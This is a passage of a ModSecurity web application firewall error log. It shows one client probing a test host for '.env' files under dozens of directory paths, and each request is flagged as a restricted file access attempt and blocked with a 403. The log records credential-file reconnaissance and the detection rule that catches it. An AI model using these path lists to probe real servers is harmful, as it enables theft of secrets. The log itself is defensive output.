&quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNQAAAAAQ&quot;]
[Mon Jul 28 20:46:16.800362 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNQAAAAAQ&quot;]
[Mon Jul 28 20:46:16.800526 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNQAAAAAQ&quot;]
[Mon Jul 28 20:46:16.822714 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /psnlink/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNQQAAAAQ&quot;]
[Mon Jul 28 20:46:16.822914 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNQQAAAAQ&quot;]
[Mon Jul 28 20:46:16.823071 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNQQAAAAQ&quot;]
[Mon Jul 28 20:46:16.845164 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pt2/countries/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt2/countries/src/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNQgAAAAQ&quot;]
[Mon Jul 28 20:46:16.845375 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt2/countries/src/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNQgAAAAQ&quot;]
[Mon Jul 28 20:46:16.845531 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt2/countries/src/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNQgAAAAQ&quot;]
[Mon Jul 28 20:46:16.867715 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pt8/library-backend-gql/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt8/library-backend-gql/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNQwAAAAQ&quot;]
[Mon Jul 28 20:46:16.867913 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt8/library-backend-gql/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNQwAAAAQ&quot;]
[Mon Jul 28 20:46:16.868067 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt8/library-backend-gql/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNQwAAAAQ&quot;]
[Mon Jul 28 20:46:16.890229 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pub/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pub/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNRAAAAAQ&quot;]
[Mon Jul 28 20:46:16.890444 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pub/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNRAAAAAQ&quot;]
[Mon Jul 28 20:46:16.890603 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pub/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNRAAAAAQ&quot;]
[Mon Jul 28 20:46:16.936014 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNRgAAAAQ&quot;]
[Mon Jul 28 20:46:16.936232 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNRgAAAAQ&quot;]
[Mon Jul 28 20:46:16.936409 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNRgAAAAQ&quot;]
[Mon Jul 28 20:46:16.958587 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public_root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_root/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNRwAAAAQ&quot;]
[Mon Jul 28 20:46:16.958799 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_root/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNRwAAAAQ&quot;]
[Mon Jul 28 20:46:16.958992 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_root/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNRwAAAAQ&quot;]
[Mon Jul 28 20:46:17.028583 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /question2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/question2/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNSgAAAAQ&quot;]
[Mon Jul 28 20:46:17.028817 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/question2/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNSgAAAAQ&quot;]
[Mon Jul 28 20:46:17.028982 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/question2/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNSgAAAAQ&quot;]
[Mon Jul 28 20:46:17.051463 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /qv-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qv-frontend/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNSwAAAAQ&quot;]
[Mon Jul 28 20:46:17.051699 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qv-frontend/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNSwAAAAQ&quot;]
[Mon Jul 28 20:46:17.051889 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qv-frontend/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNSwAAAAQ&quot;]
[Mon Jul 28 20:46:17.074282 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rabbitmq-cluster/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rabbitmq-cluster/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNTAAAAAQ&quot;]
[Mon Jul 28 20:46:17.074561 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rabbitmq-cluster/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNTAAAAAQ&quot;]
[Mon Jul 28 20:46:17.074777 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rabbitmq-cluster/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNTAAAAAQ&quot;]
[Mon Jul 28 20:46:17.097154 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rails-api/react-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails-api/react-app/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNTQAAAAQ&quot;]
[Mon Jul 28 20:46:17.097382 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails-api/react-app/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNTQAAAAQ&quot;]
[Mon Jul 28 20:46:17.097559 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails-api/react-app/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNTQAAAAQ&quot;]
[Mon Jul 28 20:46:17.119922 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rails/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails/.env&quot;] [unique_id 